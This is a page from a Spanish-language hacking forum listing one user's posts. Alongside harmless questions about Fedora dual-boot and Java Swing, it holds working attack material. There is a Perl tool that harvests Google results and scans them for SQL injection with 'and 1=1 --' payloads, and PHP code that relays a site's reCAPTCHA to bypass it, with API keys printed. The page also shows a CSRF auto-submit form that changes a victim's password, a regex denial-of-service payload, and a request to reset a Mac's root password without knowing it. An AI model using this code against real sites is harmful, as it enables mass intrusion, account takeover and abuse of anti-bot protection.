Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - ~ Yoya ~

#1
Buenas,

Me paso que compre una portátil y esta trajo consigo Window 8 y UEFI. Me gustaría instalar Fedora pero junto a Window 8. Hasta ahora he encontrado mas problema que soluciones a la hora de instalar Fedora (u otra distribución) junto a Window 8, con UEFI activo.

Se que no hay problema para instalar cualquier distribución con UEFI desactivado y Legacy activo, pero me gustaría mantener la laptop limpia y sin tener que cambiar a UEFI para poder bootear Window 8.

Quisiera saber las opiniones o recomendaciones de lo que ya han instalado Window 8 y Fedora (u otra distribución) con dual boot y con UEFI activo.

Saludos.
#2
Nivel Web / Bypass Recaptcha y cualquier otra
7 Septiembre 2011, 16:32 PM

Muchas veces necesitamos hacerle un bypass a alguna captcha, como puede ser Re-captcha.

Lo primero que se nos ocurre es usar algun OCR (Reconocimiento óptico de caracteres) para detectar las letras de la imágenes. El problema esta que no puede funcionar correctamente y en muchos casos no logra procesar la imagen. Quizás por eso no sea algo muy típico, ni muy utilizado con esto fines.

Podemos desarrollar nuestro propio OCR, pero a la larga seria un proceso muy complejo y necesitaríamos invertirle mucho tiempo. Muchos simplemente descartan el proyecto.

Otros lo que harían seria buscar alguna vulnerabilidad en la captcha, que de alguna forma les permita saber que imagen es y que letras tienen. Algunos buscarían una vulnerabilidad en la validación de la captcha que seria un proceso igualmente largo ya que tienen que entender el funcionamiento de la captcha y comenzar a probar...

Yo estaba realizando una App web y debía realizar acciones y tomar algunos datos de un sitio web, pero este utilizaba Re-captcha para poder identificarse/loguearse. Se me ocurrieron todas las opciones que menciones y otras pero no relacionada directamente con la captcha.

Aquí tengo una solución universal para cualquier Captcha. La solución mas rápida y segura, es utilizar la misma captcha que el sitio web.

Osea, la imagen genera la captcha la capturo y la muestro en mi sitio web para que los usuarios que vayan a utilizar la App web, inserten el código de la captcha y mi App web realice todo.

Al final tengo una App web, que realiza lo que quería hacer y utiliza captcha. No tengo que implementar alguna captcha en mi servicio ya que con la captcha del sitio web me basta.



Bypass de  Re-Captcha



Código (php) [Seleccionar]

<?php
require_once('recaptchalib.php');
 
 
$publickey "6Lc55McSAAAAAChEOICK8IX0V6zRh3CD64ix6jbx";
$privatekey "6Lc55McSAAAAAB4ny39PlgX8gjMvm2x7SsrXEb6y";
 
if(!empty(
$_POST['nombre'])) {
 
    
$is_valid recaptcha_check_answer($privatekey$_SERVER["REMOTE_ADDR"], $_POST["recaptcha_challenge_field"], $_POST["recaptcha_response_field"]);
 
 
    if(
$is_valid->is_valid) {
        echo 
'<p><h1>Captcha Valida</h1></p>';
        exit;
    }else{
        echo 
'<p><h1>Captcha invalida</h1></p>';
    }
}
 
 
 
?>


<form method="POST" name="form" action="a.php">
   <p>Mensaje:
<input type="text" name="nombre"></p>
  <?php echo recaptcha_get_html($publickey); ?>

   <input type="submit" value="enviar">
</form>


Realizare el código para hacerle el bypass.


Código (php) [Seleccionar]

<?php
 
 
 
//Si se envio el formulario, compruebo el el input
 
//donde se inserte la captcha, contenga algun valor
 
if(!empty($_POST['captcha_valude'])) {
 
 
 
$data =' nombre='.$_POST['mensaje'].'&recaptcha_challenge_field='.$_POST['cod'].'&recaptcha_response_field='.urlencode($_POST['captcha_valude']);
 
echo 
post('http://127.0.0.1/a.php'$data);
 
}
 
//Fin del poc para el bypass
 
 
 
//Obtengo la imagen de la captcha y luego la muestro....
 
$contenido get('http://127.0.0.1/a.php');
 
preg_match('/ipt" src="(h[^"]+)/'$contenido$result);
 
preg_match('/challenge :[sn]+'([^']+)/i'get($result[1]), $cont);
 
$img 'http://www.google.com/recaptcha/api/image?c='.$cont[1];
 
echo 
'<IMG src="'.$img.'">';
 
//Fin...
 
 
 
//Funcion para realizar peticiones GET
 
function get($url) {
 
$ch curl_init();
 
curl_setopt($chCURLOPT_URL$url);
 
curl_setopt($chCURLOPT_RETURNTRANSFER1);
 
$result curl_exec($ch);
 
curl_close($ch);
 
return 
$result;
 
}
 
 
 
//Funcion para realizar peticiones POST
 
function post($url$contenido) {
 
$ch curl_init();
 
curl_setopt($chCURLOPT_URL$url);
 
curl_setopt ($chCURLOPT_POST1);
 
curl_setopt ($chCURLOPT_POSTFIELDS$contenido);
 
curl_setopt($chCURLOPT_RETURNTRANSFER1);
 
$result curl_exec ($ch);
 
curl_close ($ch);
 
 
 
return 
$result;
 
}
 
 
 
?>




<!--Formulario-->

<form action="aa.php" method="POST">

<p>Inserte el contenido de la captcha</p>

<p><input type="text" name="captcha_valude"></p>

<p>Inserte el mensaje
<input type="text" name="mensaje"></p>

<input type="hidden" name="cod" value="<?php echo $cont[1]; ?>"><!--Codigo de la captcha-->

<input type="submit" value="Enviar">

</form>


Al rellenar todos los datos correctamente, me da por valida todo.


Probar el PoC, así entienden mejor todo.

Saludos.
#3
Java / Duda con array
13 Marzo 2011, 21:18 PM
Buenas a todos, tengo un problema con los Arrays. Pues el problema esta en el numero de elemento que puede almacenar el array. Ya que no matendra un numero fijo de elemento ya que este puede varias.

Puede que contenga 20, 200, 500 o mas. Lo que se me ocurrió fue que almacene un gran numero de elemento, de forma que lo pueda almacenar todos sin problema pero el problema seria que cuando recorra, habrá muchos elementos que no contendrán ningún valor pero se tendrán que recorrer y duraría mas para terminar de procesar los datos.

Edito
Ya encontré la solución, fue utilizar la librería java.util.ArrayList.
#4
Buenas, soy algo nuevo en java xD. Estoy intentando hacer algo estilo copy, cut y paste, utilizando JMenuItem. El problema es que no eh encontrado la forma de hacerlo, he visto unos ejemplos pero en este caso no me funcionaria.

Aquí el código mas importante:
Código (java) [Seleccionar]
import javax.swing.text.DefaultEditorKit;

public class EjGui extends javax.swing.JFrame {

private void initComponents() {
        jMenuItem4 = new javax.swing.JMenuItem();

        jMenuItem4.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_C, java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem4.setText("Copiar");
        jMenuItem4.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                jMenuItem4MouseClicked(evt);
            }
        });
        jMenuItem4.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                copiar(evt);
            }
        });

    private void copiar(java.awt.event.ActionEvent evt) {                       
        // TODO add your handling code here:


    }                       

    private void jMenuItem4MouseClicked(java.awt.event.MouseEvent evt) {                                       
        // TODO add your handling code here:
    }                                       

    private javax.swing.JMenuItem jMenuItem4;


Intente hacer un:
Código (java) [Seleccionar]
jMenuItem4.setAction(new DefaultEditorKit.CopyAction());
Dentro del método copiar y nada.

Saludos.
#5
Java / [NetBeans] JDialog dentro de un JFrame
6 Marzo 2011, 22:40 PM
Buenas, estoy intentando abrir un JDialog desde un JFrame. Tengo un jMenuItem que al hacer click, se abre el JDialog pero no abre y no se porque xD (Algo como el típico Acerca de xD).

Aquí donde creo que esta el problema.

el main
Código (java) [Seleccionar]
public class generador {

    /**
     * @param args the command line arguments
     */
    public static void main(String[] args) {
        // TODO code application logic here
        IkaGui ika_gui = new IkaGui();


        ika_gui.setLocationRelativeTo(null);
        ika_gui.setVisible(true);


    }

}


IkaGui.java
Código (java) [Seleccionar]
private void jMenuItem7MouseClicked(java.awt.event.MouseEvent evt) {                                       
        // TODO add your handling code here:
        About dial = new About(new IkaGui(),true);
        dial.setLocationRelativeTo(null);
        dial.setVisible(true);
    }




Saludos
#6
Diseño Gráfico / Mi galeria de arte XD
20 Febrero 2011, 22:56 PM
Bueno hace poco comencé con esto (hace unos días), aquí mi humilde firma xD.



Estoy utilizando Gimp.

Acepto criticas constructivas.

Saludos.
#7
Buenas, cuando intento causar Dos en javascript mediante expresiones regulares causa un DoS
Código (javascript) [Seleccionar]
var a = '11111111111111111111111111111111111a';
if(/^(\d+)+$/.test(a)){alert(1);}


Pero en PHP no causa Dos y estoy tratando de reproducir lo que sirdarckcat escribió y nada
Cita de: http://foro.elhacker.net/nivel_web/hackea_a_elhackernet_finalizado_ganador_yasion-t275475.0.html;msg1357128#msg1357128en PHP, PREG va a suspender la ejecucion despues de N iteraciones y alterara la memoria donde esta almacenada la variable de tal forma, que se borraran los ultimos 3 bytes dentro de esta.

Por defecto en PHP el limite de marcha atras es de 100,000
pcre.backtrack_limit

Código (php) [Seleccionar]
<?php

$a 
str_repeat(1,16);
$a .= 'a';

echo 
"La longitud es de ".strlen($a). "<br>";
if(
preg_match("/^(\d+)+$/",$a));
echo 
"La longitud es de ".strlen($a). "<br>";

if (
preg_last_error() == PREG_BACKTRACK_LIMIT_ERROR) {
    echo 
'Se ah exedido el limite<br>';
}
?>


Salida:
La longitud es de 17
La longitud es de 17
Se ah exedido el limite


La longitud de la variable no se artera ni nada similar...
#8
Ejercicios / Retos de Expresiones Regulares
3 Octubre 2010, 17:02 PM
Buenas a todos, todavía no he visto el primer reto de expresiones regulares...
Las reglas:

  • Se permite cualquier lenguaje de programación que utilice expresiones regulares (preferiblemente scripting, ya que la mayoría conoce por lo menos 1)
  • Cuando se plantea un reto mas, el usuario que respondió al reto deberá explicar la expresión que utilizo, así los demás aprenden xD (opcional)
  • Si nadie responde al reto, el auto deberá autor responderse he iniciar un nuevo reto
  • El que realiza el reto puede poner condiciones para realizar el reto, ejemplo: prohibiendo el uso de modificadores
  • Los usuarios pueden descartar las expresiones planteada para resolver un reto si esta no puede funcionar bien en todos los casos

Bueno un reto facil, para empezar XD

Reto #1
Objetivo: Capturar Hola mundo
Cadena: 1!"#Hola mundo¬¬


#9
Buenas, tengo una MacBook, y nececito cambiar el password de un usuario, y del usuario root, claro oviamente no tengo los password del usuario y tampoco del root, pienso entrar en modo root o mono xD.
#10
Nivel Web / [Tool][Perl] search-vul 0.4
7 Enero 2010, 20:58 PM
Bueno, aquí mi tools, la versión 0.4 de search-vul, si hay dudas de su uso o otra pregunta, pueden contestar este post.



Código (perl) [Seleccionar]

=pod
Autor:   Yoyahack
name:    search-vul
verion:  0.4
Mail:    yoyahack@undersecurity.net
Web:     www.yoyahack.blogspot.com
Webs:    www.undersecurity.net & www.mitm.cl & elhacker.net & www.n3t-datagrams.net
Gretz:   S[e]C, seth, p0fk, ksha, OzX, protos, NorK, C1c4Tr1Z, [[kt0sh]],SH4V , x4cks
                        _                      _
___  ___  __ _ _ __ ___| |__      __   ___   _| |
/ __|/ _ \/ _` | '__/ __| '_ \ ____\ \ / / | | | |
\__ \  __/ (_| | | | (__| | | |_____\ V /| |_| | |
|___/\___|\__,_|_|  \___|_| |_|      \_/  \__,_|_|

=cut

#opciones
=pod
--google <busqueda> --num <numero> -> Buscar paginas de google.com y indica el numero de pagina a buscar
--googles <busqueda> --num <numero> -> Buscar pagina de distinto servidores googles
--vul <file.txt> -> Escanea un archivo que contenga distinta pagina y verifica las vurnerables
--dns <site> -> Reverse dns
=cut

#Modulos

use LWP::UserAgent;
use HTTP::Request;
use Getopt::Long;

#Code

print q(
·············································
                Code
                 by
              Yoyahack
        www.yoyahack.blogspot.com
    www.undersecurity.net & www.mitm.cl
·············································
);

print "Usage: perl $0 --opcion <xxx>\n";
print q(
--google <busqueda> --num <numero>
--googles <busqueda> --num <numero>
--vul <file.txt>
--dns <site>
--help
);

#Opciones
GetOptions("google=s" => \$google,
          "googles=s" => \$googles,
          "vul=s" => \$vul,                
          "dns=s" => \$dns,
          "num=s" => \$num,
          "help" => \$help);

if($google & $num){&google};
if($googles & $num ){&googles};
if($vul){&vul};
if($dns){&dns};
if($help){&help}

sub google{

###########################################################
my $peti = "http://www.google.com/search?hl=&q=$google&start=$num";
my $result = get($peti);

###########################################################
   while ($result =~ m/<h3 class=.*?<a href="([^"]+).*?>(.*?)<\/a>/g) {

       my $enlace = $1;
       open (SE,">>busqueda.txt");
       print SE "$enlace\n";
       close (SE);
       print "$enlace\n";
                                                                   }
          }



sub googles{

###########################################################
my @googles = qw(www.google.es www.google.cl www.google.com.ar www.google.co.ve);
foreach $go(@googles)
              {
               chomp($go);
###########################################################
my $peti1 = "http://$go/search?hl=&q=$googles&start=$num";
my $result1 = get($peti1);

###########################################################
   while ($result1 =~ m/<h3 class=.*?<a href="([^"]+).*?>(.*?)<\/a>/g) {
   my $enlace1 = $1;

   open (SS,">>googles.txt");
   print SS "$enlace1\n";
   close (SS);
   print "$enlace1\n";
                                                                      }
             }
          }


sub vul{
###########################################################
open(PAG,$vul) || die "Archivo de texto no encontrado";
@urls=<PAG>;
close (PAG);
foreach $pag(@urls)
              {
              chomp($pag);
###########################################################
my $iny1 = $pag."'+and+1=1+--+";
my $iny2 = $pag."'+and+1=2+--+";
###########################################################
$pag .= '&';
if($pag =~ m/&{2}/ig){
}else{
     while ($pag =~ m/\&/g) {
           $regex = $pag;
           substr($regex, pos($pag)-1, 0, "+and+1=1+--+");
           my $tofo3  = scalar(split("\n",get($regex)));
           $regex2 = $pag;
           substr($regex2, pos($pag)-1, 0, "+and+1=2+--+");
           my $tofo4  = scalar(split("\n",get($regex2)));
           if($tofo3 ne $tofo4 || $tofo != $todo){
               open (VUL,">>vurl.txt");
               print VUL "$pag\n";
               close (SS);
                                                 }
                            }
                  }      
##########################################################
my $fuente = get($iny1);
my $tofo  = scalar(split("\n",$fuente));

my $result = get($iny2);
my $todo  = scalar(split("\n",$result));
##########################################################
if($tofo ne $todo || $tofo != $todo){
   open (VUL,">>vurl.txt");
   print VUL q(
·············································
                Code
                 by
              Yoyahack
        www.yoyahack.blogspot.com
    www.undersecurity.net & www.mitm.cl
·············································

);
   print VUL "$pag\n";
   close (SS);
   print "[+]$pag es vurnerable a SQLI\n";
   print "!guardada exitosamente\n";
  } else {
            print "\n$pag no es vurnerable a SQLI\n";
        }
         }              
              }

sub dns{
my $result = get("http://www.ip-adress.com/reverse_ip/$dns");

while ($result =~ m!<a href="/whois/(.+)">Whois</a>!ig){

   open (DNS,">>reverse_dns.txt");
   print DNS "$1\n";
   close (DNS);
   print "$1\n";

}
if ($result =~ /valid IP address/) {

   print "Not found\n";
}
}


sub help {
&erase;
print q(
##############################
1 --google <busqueda> --num <numero>

Buscar paginas de google.com y indica el numero de pagina a buscar
perl script.pl --google ola --num 10
##############################
#////
##############################
2 --googles <busqueda> --num <numero>

perl script.pl --googles ola --num 10
Buscar pagina de distinto servidores googles
##############################
#////
##############################
3 --vul <file.txt>

perl script.pl --vul archivo.txt
Escanea un archivo que contenga distinta pagina y verifica las vurnerables
##############################
#////
##############################
4 --dns <site>

perl script.pl --dns www.pagina.com
Reverse dns
##############################
#////
);
}

sub erase{
$os = "$^O";
if ("linux" == "$os"){
  return system('clear');
   }else{
return system('cls');}
}

sub get {
   my $pagina = $_[0];

   my $ua = new LWP::UserAgent;
   $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12");

   my $busqueda = new HTTP::Request GET => $pagina;
   my $resultado = $ua->request($busqueda);
   $ua->timeout(7) || die "Conecction faield";
   my $result = $resultado->content();
}


Mirror:
http://undersec.pastebin.com/f5c7ce4f9
http://codepad.org/Xwe6N7MO

Saludos.
#11
Nivel Web / [Problema] XSRF
6 Diciembre 2009, 17:28 PM
Buenas, hire al punto de una vez, tengo este formulario vulnerable a XSRF/CSRF.
Estoy situado en:
www.pagina.com/login/
y tengo este formulario, que sirve para cambiar la clave.

<form name="formclave" method="post" action="cuenta.php?do=datos">
<td align="right">Clave</td>
<input type="password" name="clave">

<td align="right">Repite tu clave</td>
<input type="password" name="clave2"><input type="hidden" name="CambiarClave" value=1>
<td colspan="2" align="center"><input type="submit" value="Cambiar Clave"></td>
</form> 


Entonse quiero crear una url magica, que cambie los datos, en este caso hice la siguiente:
www.pagina.com/login/cuenta.php?do=datos&clave=owend&clave2=owend&CambiarClave=1

Para luego ponerla entre tags de img, en este caso seria bbcode y seria asi:
[img]www.pagina.com/login/cuenta.php?do=datos&clave=owend&clave2=owend&CambiarClave=1[/img]

Entonse la pongo como firma, avatar, etc... Y al cargar la imagen se haria la peticion automaticamente. Pero no funciona y me pregunte porque???, entonse lo que hice fue hacerlo manualmente usando Live HTTP Headers y hacer lo mismo pero una peticion POST y otra GET, para aclarar algunas dudas y al parecer la peticion POST funciono correctamente, pero la peticion GET no funciono, y si ponia la url magica en el navegador tampoco funcionaba, sabiendo que el nabegado hase peticiones POST, entonse me puse a crear un  formulario que rellene los datos automaticamente y haserle la peticion entre tags de img, aqui el formulario que hice.

<html><body>

<form name="formclave" method="post" action="www.pagina.com/login/cuenta.php?do=datos">
<input type="password" name="clave" value="owend">
<input type="password" name="clave2" value="owend">
<input type="hidden" name="CambiarClave" value=1>
<td colspan="2" align="center"><input type="submit" value="Cambiar Clave"></td>
</form> 
<script>document.formclave.submit()</script>
</body></html>


Entonse lo guarde como.. clave.html
Luego lo puse en localhost y al ir a su direccion:
localhost/clave.html
El formulario cargaba y luego me rediccionaba a la pagina y la clave se cambiaba.
Entonse lo que hice fue poner la direccion donde tenia la direccion del formulario creado y luego ponerlo entre tags de img, y cuando hice todo, fui a visualisar donde tenia el codigo del formulario creado para cambiar la clave, claro metida entre tags de img no paso nada, la clave no se cambio....

haber si me dicen cual es mi error.